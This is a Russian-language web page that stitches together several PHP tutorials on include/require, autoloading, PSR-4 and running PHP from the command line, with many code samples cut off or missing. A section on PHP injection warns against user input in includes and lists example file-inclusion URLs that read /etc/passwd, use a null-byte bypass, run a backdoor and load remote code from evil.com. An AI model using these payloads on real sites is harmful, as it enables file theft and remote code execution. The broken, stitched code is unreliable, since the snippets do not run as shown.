Как подключить php к php
Перейти к содержимому

Как подключить php к php

  • автор:

Базовые возможности PHP

При разработке программ на PHP, возможно, какую-ту часть кода мы захотим использовать одновременно в других файлах с кодом PHP. В этом случае отдельные части кода можно распределить по отдельным файлам. Это позволить не писать один и тот же код по сто раз на сотнях скриптов, а будет достаточно подключить файл с кодом PHP. Кроме того, если потребуется изменить поведение подключаемого кода, достаточно будет изменить код в подключаемом файле.

Для подключения файлов PHP предоставляет ряд возможностей.

Инструкция include

Инструкция include подключает в программу внешний файл с кодом php. Так, для примера определим файл welcome.php :

Здесь определена функция welcome , которая в качестве параметра принимает условное имя и использут его для вывода приветствия.

Теперь подключим данный файл в нашу программу, которая определена в другом файле в той же папке:

В место определения инструкции include будет вставляться весь код из файла welcome.php . При этом вставка файла должна происходить до использования функции, определенной в этом файле. При этом в данном случае файл welcome.php и файл, в который он подключается, располагаются в одной папке.

Конструкция include может использовать как относительные, так и абсолютные пути. Например, выше использовался относительный путь. Или, к примеру, если мы имеем следующую структуру

  • Файл index.php
  • Папка scripts
    • Файл welcome.php

    То чтобы подключить файл welcome.php из папки scripts , в файле index.php необходимо использовать следующий относительный путь:

    include "scripts/welcome.php";

    Если файл welcome.php располагается по полному пути C:\localhost\scripts\welcome.php , то также можно было бы использовать абсолютный — полный путь:

    include "C:\localhost\scripts\welcome.php";

    Инструкция include_once

    Использование инструкции include имеет недостатки. Так, мы можем в разных местах кода неумышленно подключить один и тот же файл, что при выполнении кода вызовет ошибки.

    Чтобы исключить повторное подключение файла, вместо инструкции include следует применять инструкцию include_once

    И теперь, если мы подключим этот же файл с помощью include_once еще где-нибудь ниже, то это подключение будет проигнорировано, так как файл уже подключен в программу.

    Инструкции require и require_once

    Действие инструкции require подобно инструкции include: она также подключает внешний файл, вставляя в программу его содержимое. Только теперь, если данный файл не будет найден, действие программы прекратится (инструкция include в этом случае выбрасывает предупреждение):

    И также если у нас в коде встретятся несколько инструкций require , которые подключают один и тот же файл, то интерпретатор выдаст ошибку. И также чтобы избежать данной ситуации, следует использовать инструкцию require_once :

    Функция spl_autoload_register

    В больших приложениях количество подключаемых файлов может быть довольно большим. Однако встроенная функция spl_autoload_register() в определенных ситуациях позволяет избежать большого количества инклудов. В качестве параметра она принимает функцию автозагрузки. Эта функция автоматически вызывается, когда в программе начинает использоваться неизвестный класс или интерфейс. И функция автозагруки пытается загрузить этот класс или интерфейс. В качестве параметра функция автозагрузки принимает название класса или интерфейса, которые надо загрузить.

    Например, пусть у нас будет файл Person.php , в котором располагается класс Person :

    name = $name; $this->age = $age; > function printInfo() < echo "Name: $this->name
    Age: $this->age"; > > ?>

    Обращаю внимание, что название файла соответствует названию класса.

    Используем функцию автозагрузки для подключения подобного класса:

    "; include $class . ".php"; > spl_autoload_register("my_autoloader"); $tom = new Person("Tom", 25); $tom->printInfo(); ?>

    Функция spl_autoload_register() в качестве параметра принимает название функции автозагрузки — в данном случае это функция my_autoloader() . В качестве параметра она принимает название класса. Например, в данном случае используется класс Person, который в этом скрипте не определен. И когда программа встретит использование данного класса, она вызовет функцию my_autoloader() , в качестве параметра $class передаст в нее название класса Person.

    Все действия функции автозагрузки мы определяем сами. В данном случае с помощью echo выводится некоторое диагностическое сообщение и подключается файл класса:

    include $class . ".php";

    При этом в данном случае неважно какой класс, главное, чтобы он хранился в одноименном файле с расширением .php . В этом случае программа выведет следующее:

    Вызов функции автозагрузки Name: Tom Age: 25

    Подключение файлов в PHP

    loader

    В PHP имеется возможность подключать файлы с кодом внутри других файлов. Это делается для того, чтобы выстроить архитектуру приложения.

    Архитектура программного обеспечения (англ. software architecture) — совокупность важнейших решений об организации программной системы. Архитектура включает:
    – выбор структурных элементов и их интерфейсов, с помощью которых составлена система, а также их поведения в рамках сотрудничества структурных элементов;
    – соединение выбранных элементов структуры и поведения во всё более крупные системы;
    – архитектурный стиль, который направляет всю организацию — все элементы, их интерфейсы, их сотрудничество и их соединение.

    То есть нам нужно разбивать наш код на отдельные части, каждая из которых будет выполнять свою роль. К примеру, можно вынести какие-то функции в отдельный файл, подключить этот файл внутри другого, и пользоваться ими уже в этом файле.

    Смысл архитектуры в том, чтобы компоненты программы, отвечающие за какое-то похожее поведение, лежали в одном месте, и их можно было легко найти и изменить.

    • Курс HTML для начинающих
    • Курс PHP для начинающих
    • Курс MySQL для начинающих
    • Курс ООП в PHP

    Ну а вообще, давайте на примере. Но сначала давайте изучим одну «магическую» константу. Речь идёт о константе __DIR__. В ней содержится путь до директории, в которой находится текущий скрипт (скрипт, в котором эта константа была использована).

    Давайте запишем в наш index.php следующий код:

    Результат этого кода:

    • Тест на знание основ HTML
    • Тест на знание основ PHP
    • Тест на знание ООП в PHP
    C:\OpenServer\domains\myproject.loc\www

    Вуаля, мы теперь знаем, в какой папке находится index.php. Мы будем всегда использовать магическую константу __DIR__ при указании путей подключаемых файлов. При этом в выражениях для подключения файлов следует избегать данных от пользователей, чтобы избежать хакерских атак под названием PHP-injections. Подробнее читайте здесь.

    Ну а теперь вернёмся к основной теме урока. Создадим в директории с index.php ещё один файл с именем functions.php и заполним его следующим содержимым:

    Теперь вернёмся в index.php и запишем в него следующий код:

       Чётные и нечётные числа  Число 2  
    Число 5
    Число 8

    Надеюсь, никто не забыл, что можно вставлять PHP-код прямо внутри HTML? Об этом мы говорили в этом уроке. Только там мы использовали для вывода конструкцию вида:

    Если во вставке нам нужно только вывести результат какого-то выражения, то её можно упростить до:

    Работа директивы include

    И если сейчас мы зайдём в браузере на URL нашего приложения, то увидим следующее:

    Наше приложение успешно отработало, и основной код страницы у нас не содержит вспомогательных функций – они с помощью директивы include подключились в наш файл. Если говорить более детально – PHP-код из файла functions.php был вставлен в то место, где он был подключен с помощью директивы include.

    Разница между require и include

    Есть ещё одна директива для подключения файлов – require. Если вы сейчас замените include на require, вот так:

    require __DIR__ . '/functions.php';

    то ничего по сути не изменится – код отработает точно так же.

    Однако между ними всё же есть разница. Она заключается в том, что если подключаемый файл не найден, то при include возникнет warning, но программа продолжит своё выполнение. А если подключаемого не окажется при попытке выполнить require, то произойдёт фатальная ошибка и скрипт завершит свою работу.

    Давайте снова вернём директиву include, переименуем functions.php в abc.php и попробуем обновить страничку.

    Ошибка подключения с типом warning

    Фатальная ошибка при отсутствии файла

    Получили ошибки разных типов. Первая из них – warning, сообщающий о том, что файл functions.php не найден. Но скрипт продолжил своё выполнение, а затем упал на строке 10 из-за того, что не была найдена функция isEven(), а это уже fatal error.
    Давайте теперь заменим include на require и снова обновим страничку.

    Теперь мы получили fatal error сразу на второй строке, приложение завершило свою работу на этом месте.

    То есть require нужно использовать там, где подключение файла обязательно. Например, файл с конфигурацией, или необходимыми функциями.

    А include можно использовать для файлов, которые необязательно должны быть подключены (если без них можно продолжать выполнение кода). Пример: файл с кодом баннерной рекламы. Да, реклама не покажется, но зато сайт продолжит свою работу.

    Как ещё можно использовать require и include

    Помимо того, что можно подключать файлы с PHP-кодом, можно также подключать файлы, содержащие какой-то текст, или в частности HTML-код.

    Шаблон сайта

    Предлагаю рассмотреть следующую ситуацию: у нас на сайте всегда одинаковая шапка, боковая панель, и футер, но при этом меняются заголовок и содержимое страницы. Предположим, наш сайт выглядит так:

    Зелёным цветом я выделил ту часть странички, которая будет изменяться.

    Давайте для начала сверстаем наш шаблон. Надеюсь, все прошли курс по HTML. У меня получился вот такой код:

      Заголовок страницы table, td < border: solid black 1px; border-collapse: collapse; >#layout < width: 800px; margin: auto; >#layout td < padding: 20px; >#sidebar  
    HEADER
    SIDEBAR CONTENT
    FOOTER

    Свёрстанная страничка

    Вот такая получилась у меня веб-страничка:

    Давайте теперь разобьём этот код на компоненты. Создадим 4 файла: header.php с шапкой файла, sidebar.php с боковой колонкой, content.php с основным содержимым страницы и footer.php для подвала сайта.

      Заголовок страницы table, td < border: solid black 1px; border-collapse: collapse; >#layout < width: 800px; margin: auto; >#layout td < padding: 20px; >#sidebar   HEADER  
    SIDEBAR

    PHP для начинающих. Подключение файлов

    В продолжении серии “PHP для начинающих”, сегодняшняя статья будет посвящена тому, как PHP ищет и подключает файлы.

    Для чего и почему

    PHP это скриптовый язык, созданный изначально для быстрого ваяния домашних страничек (да, да изначально это же Personal Home Page Tools), а в дальнейшем на нём уже стали создавать магазины, социалки и другие поделки на коленке которые выходят за рамки задуманного, но к чему это я – а к тому, что чем больше функционала закодировано, тем больше желание его правильно структурировать, избавиться от дублирования кода, разбить на логические кусочки и подключать лишь при необходимости (это тоже самое чувство, которое возникло у вас, когда вы читали это предложение, его можно было бы разбить на отдельные кусочки). Для этой цели в PHP есть несколько функции, общий смысл которых сводится к подключению и интерпретации указанного файла. Давайте рассмотрим на примере подключения файлов:

    // file variable.php $a = 0; // file increment.php $a++; // file index.php include ('variable.php'); include ('increment.php'); include ('increment.php'); echo $a;

    Если запустить скрипт index.php, то PHP всё это будет последовательно подключать и выполнять:

    $a = 0; $a++; $a++; echo $a; // выведет 2

    Когда файл подключается, то его код оказывается в той же области видимости, что и строка в которой его подключили, таким образом все переменные, доступные в данной строке будут доступны и в подключаемом файле. Если в подключаемом файле были объявлены классы или функции, то они попадают в глобальную область видимости (если конечно для них не был указан namespace).

    Если вы подключаете файл внутри функции, то подключаемые файлы получают доступ к области видимости функции, таким образом следующий код тоже будет работать:

    function a() < $a = 0; include ('increment.php'); include ('increment.php'); echo $a; >a(); // выведет 2

    Отдельно отмечу магические константы: __DIR__ , __FILE__ , __LINE__ и прочие – они привязаны к контексту и выполняются до того, как происходит включение

    Особенностью подключения файлов является тот момент, что при подключении файла парсинг переключается в режим HTML, по этой причине любой код внутри включаемого файла должен быть заключен в PHP теги:

    А вы видели сайт-файл на 10 000 строк? Аж слёзы на глазах…

    Функции подключения файлов

    Как уже было сказано выше, в PHP существует несколько функции для подключения файлов:

    • include – включает и выполняет указанный файл, если не находит – выдаёт предупреждение E_WARNING
    • include_once – аналогично функции выше, но включает файл единожды
    • require – включает и выполняет указанный файл, если не находит – выдаёт фатальную ошибку E_ERROR
    • require_once – аналогично функции выше, но включает файл единожды

    В действительности, это не совсем функции, это специальные языковые конструкции, и можно круглые скобочки не использовать. Кроме всего прочего есть и другие способы подключения и выполнения файлов, но это уже сами копайте, пусть это будет для вас “задание со звёздочкой” 😉

    Давайте разберём на примерах различия между require и require_once , возьмём один файл echo.php:

    text of file echo.php

    И будем его подключать несколько раз:

    Результатом выполнения будет два подключения нашего файла:

    text of file echo.php

    text of file echo.php

    Существует ещё парочка директив, которые влияют на подключение, но они вам не потребуются – auto_prepend_file и auto_append_file – они позволяют установить файлы которые будут подключены до подключения всех файлов и после выполнения всех скриптов соответственно, я даже не могу придумать живой сценарий, когда это может потребоваться.

    Задание

    Таки придумать и реализовать сценарий по использованию директив auto_prepend_file и auto_append_file , менять их можно только в php.ini, .htaccess или httpd.conf (см. PHP_INI_PERDIR) 🙂

    Где ищет?

    PHP ищет подключаемые файлы в директориях прописанных в директиве include_path. Эта директива также влияет на работу функций fopen() , file() , readfile() и file_get_contents() . Алгоритм работы достаточно простой – при поиске файлов PHP по очереди проверяет каждую директорию из include_path , пока не найдет подключаемый файл, если не найдёт – вернёт ошибку. Для изменения include_path из скрипта следует использовать функцию set_include_path().

    При настройке include_path следует учитывать один важный момент – в качестве разделителя путей в Windows и Linux используются различные символы – “;” и “:” соответственно, так что при указании своей директории используйте константу PATH_SEPARATOR , например:

    // пример пути в linux $path = '/home/dev/library'; // пример пути в windows $path = 'c:\Users\Dev\Library'; // для linux и windows код изменение include_path идентичный set_include_path(get_include_path() . PATH_SEPARATOR . $path);

    Когда вы прописываете include_path в ini файле, то можете использовать переменные окружения типа $ :

    include_path = ".:$/my-php-library"

    Если при подключении файла вы прописываете абсолютный путь (начинающийся с “/”) или относительный (начинающийся с “.” или “..”), то директива include_path будет проигнорирована, а поиск будет осуществлён только по указанному пути.

    Возможно стоило бы рассказать и про safe_mode, но это уже давно история (с версии 5.4), и я надеюсь вы сталкиваться с ним не будете, но если вдруг, то чтобы знали, что такое было, но прошло

    Использование return

    Расскажу о небольшом life-hack’е – если подключаемый файл возвращает что-либо с использованием конструкции return , то эти данные можно получить и использовать, таким образом можно легко организовать подключение файлов конфигурации, приведу пример для наглядности:

    return array( 'host' => 'localhost', 'user' => 'root', 'pass' => '' );
    $dbConfig = require 'config/db.php'; var_dump($dbConfig); /* array( 'host' => 'localhost', 'user' => 'root', 'pass' => '' ) */

    Занимательные факты, без которых жилось и так хорошо: если во включаемом файле определены функции, то они могут быть использованы в основном файле вне зависимости от того, были ли они объявлены до return или после

    Задание
    Написать код, который будет собирать конфигурацию из нескольких папок и файлов. Структура файлов следующая:

    config |-- default | |-- db.php | |-- debug.php | |-- language.php | `-- template.php |-- development | `-- db.php `-- production |-- db.php `-- language.php

    При этом код должен работать следующим образом:

    • если в системном окружении есть переменная PROJECT_PHP_SERVER и она равна development , то должны быть подключены все файлы из папки default, данные занесены в перемененную $config , затем подключены файлы из папки development, а полученные данные должны перетереть соответствующие пункты сохраненные в $config
    • аналогичное поведение если PROJECT_PHP_SERVER равна production (естественно только для папки production)
    • если переменной нет, или она задана неверно, то подключаются только файлы из папки default

    Автоматическое подключение

    Конструкции с подключением файлов выглядят очень громоздко, так и ещё и следить за их обновлением – ещё тот подарочек, зацените кусочек кода из примера статьи про исключения:

    // load all files w/out autoloader require_once 'Education/Command/AbstractCommand.php'; require_once 'Education/CommandManager.php'; require_once 'Education/Exception/EducationException.php'; require_once 'Education/Exception/CommandManagerException.php'; require_once 'Education/Exception/IllegalCommandException.php'; require_once 'Education/RequestHelper.php'; require_once 'Education/Front.php';

    Чтобы избежать подобного “счастья” была придумана функция __autoload – с её помощью можно подключать необходимые нам файлы по имени класса, но лишь при одном условии – для каждого класса создан отдельный файл по имени класса. Вот пример реализации функции __autoload() (пример из комментариев в мануале):

    Класс который будем подключать:

    // класс myClass в отдельном файле myClass.php class myClass < public function __construct() < echo "myClass init'ed successfuly. "; >>

    Файл, который подключает данный класс:

    // пример реализации // ищем файлы в текущей директории function __autoload($classname) < $filename = $classname .".php"; include_once($filename); >// создаём класс $obj = new myClass();

    Теперь о проблемах с данной функцией – представьте на минуточку ситуацию, что вы подключаете сторонний код, а там уже кто-то прописал функцию __autoload() для своего кода, и вуаля:

    Fatal error: Cannot redeclare __autoload()

    Чтобы такого не было, создали функцию, которая позволяет регистрировать произвольную функцию или метод в качестве загрузчика классов – spl_autoload_register, теперь index.php будет выглядеть следующим образом:

    // пример реализации // ищем файлы в текущей директории function myAutoload($classname) < $filename = $classname .".php"; include_once($filename); >// регистрируем загрузчик spl_autoload_register('myAutoload'); // создаём класс $obj = new myClass();

    Рубрика “а вы знали?”: первый параметр spl_autoload_register() не является обязательным, и вызвав функцию без него, в качестве загрузчика будет использоваться функция spl_autoload, поиск будет осуществлён по папкам из include_path и файлам с расширением .php и .inc , но этот список можно расширить с помощью функции spl_autoload_extensions

    Теперь каждый разработчик может регистрировать свой загрузчик, главное чтобы имена классов не совпадали, но это не должно стать проблемой, если вы используете пространства имён.

    Поскольку уже давно существует такой продвинутый функционал как spl_autoload_register() , то функцию __autoload() хотят заявить как deprecated в PHP 7.1, а это значит, что в 7.2 её и вовсе может не быть

    Ну более-менее картина прояснилась, хотя погодите, все зарегистрированные загрузчики становятся в очередь, по мере их регистрации, соответственно если кто-то нахимичил в своё загрузчике, то вместо ожидаемого результата может получится очень неприятный баг. Чтобы такого не было, взрослые умные дядьки описали стандарт, который позволяет подключать сторонние библиотеки без проблем, главное чтобы организация классов в них соответствовала стандарту PSR-0 (уже устарел) или PSR-4. В чём суть требований описанных в стандартах:

    1. Каждая библиотека должна жить в собственном пространстве имён (т.н. vendor namespace)
    2. Для каждого пространства имён должна быть создана собственная папка
    3. Внутри пространства имён могут быть свои подпространства – тоже в отдельных папках
    4. Один класс – один файл
    5. Имя файла с расширением .php должно точно соответствовать имени класса

    Пример из мануала:

    Полное имя класса Пространство имён Базовая директория Полный путь
    \Acme\Log\Writer\File_Writer Acme\Log\Writer ./acme-log-writer/lib/ ./acme-log-writer/lib/File_Writer.php
    \Aura\Web\Response\Status Aura\Web /path/to/aura-web/src/ /path/to/aura-web/src/Response/Status.php
    \Symfony\Core\Request Symfony\Core ./vendor/Symfony/Core/ ./vendor/Symfony/Core/Request.php
    \Zend\Acl Zend /usr/includes/Zend/ /usr/includes/Zend/Acl.php

    Различия этих двух стандартов, лишь в том, что PSR-0 поддерживает старый код без пространства имён, а PSR-4 избавлен от этого анахронизма, да ещё и позволяет избежать ненужной вложенности папок.

    Благодаря этим стандартам стало возможно появление такого инструмента как composer – универсального менеджера пакетов для PHP:

    PHP-инъекция

    Ещё хотел рассказать о первой ошибки всех, кто делает единую точку входа для сайта в одном index.php и называет это MVC-фреймворком:

    Смотришь на код, и так и хочется чего-нить вредоносного туда передать:

    // получить неожиданное поведение системы http://domain.com/index.php?page=../index.php // прочитать файлы в директории сервера http://domain.com/index.php?page=config.ini // прочитать системные файлы http://domain.com/index.php?page=/etc/passwd // запустить файлы, которые мы заранее залили на сервер http://domain.com/index.php?page=user/backdoor.php

    Первое, что приходит на ум – принудительно добавлять расширение .php , но в ряде случаев это можно обойти “благодаря” уязвимости нулевого байта (почитайте, эту уязвимость уже давно исправили, но вдруг вам попадётся интерпретатор более древний, чем PHP 5.3, ну и для общего развития тоже рекомендую):

    // прочитать системные файлы http://domain.com/index.php?page=/etc/passwd%00

    В современных версиях PHP наличие символа нулевого байта в пути подключаемого файла сразу приводит к соответствующей ошибке подключения, и даже если указанный файл существует и его можно подключить, то в результате всегда будет ошибка, проверяется это следующим образом strlen(Z_STRVAL_P(inc_filename)) != Z_STRLEN_P(inc_filename) (это из недров самого PHP)

    Так же существует “чудесная” директива allow_url_include (у неё зависимость от allow_url_fopen), она позволяет подключать и выполнять удаленный PHP файлы, что куда как опасней для вашего сервера:

    // подключаем удалённый PHP скрипт http://domain.com/index.php?page=http://evil.com/index.php

    Увидели, запомнили, и никогда не пользуйтесь, благо по умолчанию выключено. Данная возможность вам потребуется чуть реже, чем никогда, во всех остальных случаях закладывайте правильную архитектуру приложения, где различные части приложения общаются посредством API.

    Задание

    Написать скрипт, который позволит подключать php-скрипты из текущей папки по названию, при этом следуют помнить о возможных уязвимостях и не допустить промашек.

    В заключение

    Данная статья – основа-основ в PHP, так что изучайте внимательно, выполняйте задания и не филоньте, за вас никто учить не будет.

    Posted on 2016-03-14 2024-02-09 Categories PHP Tags Education

    13 thoughts on “PHP для начинающих. Подключение файлов”

    DeaTh says:

    Ох, что-то не тем вы путем пошли, Антон. Информации о PHP для самых маленьких тьма. А вот о серьезных вещах на русском пишут мало.

    Anton Shevchuk says:
    Тьма устаревшей информации, если её изучать – будешь на пару лет отставать, не меньше
    andregarkin says:

    Спасибо за статью, интересно. На первый взгляд “для самых маленьких”, а затем в статье про Композер и пхп-инъекцию, – уже взрослые понятия.

    Sergey Mukhin says:

    Алгоритм работы достаточно простой – при поиске файлов PHP по очереди проверяет каждую директорию из include_path, пока не найдет подключаемый файл, если не найдёт – вернёт ошибку.

    Тут стоит добавить, что в случае, если файл не будет найден в директивах из include_path, то PHP еще заглянет в папку, где находится текущий файл с функцией подключения, а в случае, если файл с этой функцией сам является подключаемым, то и в рабочую папку родительского файла.

    Если при подключении файла вы прописываете абсолютный путь (начинающийся с “/”) или относительный (начинающийся с “.” или “..”), то директива include_path будет проигнорирована, а поиск будет осуществлён только по указанному пути.

    И еще стоит уточнить – если подключать файл по относительному пути в файле, который сам является подключаемым, то поиск будет осуществляться относительно рабочей директории с родительским файлом, а не относительно файла, в котором непосредственно происходит подключение.

    Как подключить php к php

      Указание конкретного файла для запуска.

    $ php my_script.php $ php -f my_script.php
    $ php -r 'print_r(get_defined_constants());'

    Необходимо быть особо осторожным при использовании этого способа, т.к. может произойти подстановка переменных оболочки при использовании двойных кавычек.

    Замечание: Внимательно прочтите пример: в нем нет открывающих и закрывающих тегов! Опция -r просто в них не нуждается, и их использование приведёт к ошибке разбора.

    $ some_application | some_filter | php | sort -u > final_output.txt

    Как и любое другое консольное приложение, бинарный файл PHP принимает аргументы, но PHP-скрипт также может получать аргументы. PHP не ограничивает количество аргументов, передаваемых в скрипт (оболочка консоли устанавливает некоторый порог количества символов, которые могут быть переданы; обычно этого лимита хватает). Переданные аргументы доступны в глобальном массиве $argv . Первый индекс (ноль) всегда содержит имя вызываемого скрипта из командной строки. Учтите, что если код вызывается на лету из командной строки с помощью опции -r, значением $argv[0] будет «Стандартный поток» («Standard input code»); до PHP 7.2.0 это был дефис ( «-» ). То же самое верно и для кода, переданного через конвейер из STDIN .

    Вторая зарегистрированная глобальная переменная — это $argc , содержащая количество элементов в массиве $argv (а не количество аргументов, переданных скрипту).

    Если передаваемые аргументы не начинаются с символа — , то особых проблем быть не должно. Передаваемый в скрипт аргумент, который начинается с — создаст проблемы, т.к. PHP решит, что он сам должен его обработать. Для предотвращения подобного поведения используйте разделитель списка аргументов — . После того, как этот разделитель будет проанализирован PHP, все последующие аргументы будут переданы в скрипт нетронутыми.

    # Эта команда не запустит данный код, но покажет информацию об использовании PHP $ php -r 'var_dump($argv);' -h Usage: php [options] [-f] [args. ] [. ] # Эта команда передаст аргумент '-h' в скрипт, предотвратив показ справки PHP $ php -r 'var_dump($argv);' -- -h array(2) < [0]=>string(1) "-" [1]=> string(2) "-h" >

    Однако, в Unix-системах есть ещё один способ использования PHP для консольных скриптов. Можно написать скрипт, первая строка которого будет начинаться с #!/usr/bin/php (или же другой корректный путь к бинарному файлу PHP CLI ). После этой строки можно поместить обычный PHP-код, заключённый в открывающие и закрывающие теги PHP. Как только будут установлены корректные атрибуты запуска на файл (например, chmod +x test), скрипт может быть запущен как обычный консольный или perl-скрипт:

    Пример #1 Запуск PHP-скрипта как консольного

    #!/usr/bin/php
    var_dump ( $argv );
    ?>

    Предполагая, что этот файл назван test и находится в текущей директории, можно сделать следующее:

    $ chmod +x test $ ./test -h -- foo array(4) < [0]=>string(6) "./test" [1]=> string(2) "-h" [2]=> string(2) "--" [3]=> string(3) "foo" >

    Как можно увидеть, в этом случае не нужно заботиться о передаче параметров, которые начинаются с — .

    Исполняемый PHP-файл может использоваться для запуска PHP-скриптов независимо от веб-сервера. В случае работы в Unix-подобной системе, необходимо добавить в первую строку файла #! (называемый также «shebang») чтобы указать, какая из программ должна запускать скрипт. На Windows-платформах можно назначить обработчик php.exe для файлов с расширениями .php или создать пакетный (.bat) файл для запуска скриптов посредством PHP. Строка, добавляемая в начале скрипта для Unix-систем, не влияет на их работу в ОС Windows, таким образом можно создавать кроссплатформенные скрипты. Ниже приведён простой пример скрипта, выполняемого из командной строки:

    Пример #2 Скрипт, предназначенный для запуска из командной строки (script.php)

    if ( $argc != 2 || in_array ( $argv [ 1 ], array( ‘—help’ , ‘-help’ , ‘-h’ , ‘-?’ ))) ?>

    Это консольный PHP-скрипт, принимающий один аргумент.

    Любое слово, которое вы хотели бы
    напечатать. Опции —help, -help, -h,
    или -? покажут текущую справочную информацию.

    В приведённом выше скрипте в первой строке содержится shebang, указывающий что этот файл должен запускаться PHP. Работа ведётся с CLI -версией, поэтому не будет выведено ни одного HTTP -заголовка.

    Скрипт сначала проверяет наличие обязательного одного аргумента (в дополнение к имени скрипта, который также подсчитывается). Если их нет, или если переданный аргумент был —help, -help, -h или -?, выводится справочное сообщение с использованием $argv[0] , которое содержит имя выполняемого скрипта. В противном случае просто выводится полученный аргумент.

    Для запуска приведённого примера в Unix-системе, нужно сделать его исполняемым и просто выполнить в консоли script.php echothis или script.php -h. В Windows-системе можно создать пакетный файл:

    Пример #3 Пакетный файл для запуска PHP-скрипта из командной строки (script.bat)

    @echo OFF "C:\php\php.exe" script.php %*

    Предполагая, что вышеприведённый скрипт называется script.php , а полный путь к CLI php.exe находится в C:\php\php.exe , этот пакетный файл запустит его с переданными параметрами: script.bat echothis или script.bat -h.

    Также можно ознакомиться с модулем Readline для получения дополнительных функций, которые можно использовать для улучшения консольного PHP-скрипта.

    В Windows запуск PHP можно настроить без необходимости указывать C:\php\php.exe или расширение .php . Подробнее эта тема описана в разделе Запуск PHP из командной строки в Microsoft Windows.

    Замечание:

    В Windows рекомендуется запускать PHP под актуальной учётной записью пользователя. При работе в сетевой службе некоторые операции не будут выполнены, поскольку «сопоставление имён учётных записей и идентификаторов безопасности не выполнено».

    User Contributed Notes 7 notes

    10 years ago

    On Linux, the shebang (#!) line is parsed by the kernel into at most two parts.
    For example:

    1: #!/usr/bin/php
    2: #!/usr/bin/env php
    3: #!/usr/bin/php -n
    4: #!/usr/bin/php -ddisplay_errors=E_ALL
    5: #!/usr/bin/php -n -ddisplay_errors=E_ALL

    1. is the standard way to start a script. (compare «#!/bin/bash».)

    2. uses «env» to find where PHP is installed: it might be elsewhere in the $PATH, such as /usr/local/bin.

    3. if you don’t need to use env, you can pass ONE parameter here. For example, to ignore the system’s PHP.ini, and go with the defaults, use «-n». (See «man php».)

    4. or, you can set exactly one configuration variable. I recommend this one, because display_errors actually takes effect if it is set here. Otherwise, the only place you can enable it is system-wide in php.ini. If you try to use ini_set() in your script itself, it’s too late: if your script has a parse error, it will silently die.

    5. This will not (as of 2013) work on Linux. It acts as if the whole string, «-n -ddisplay_errors=E_ALL» were a single argument. But in BSD, the shebang line can take more than 2 arguments, and so it may work as intended.

    Summary: use (2) for maximum portability, and (4) for maximum debugging.

Добавить комментарий

Ваш адрес email не будет опубликован. Обязательные поля помечены *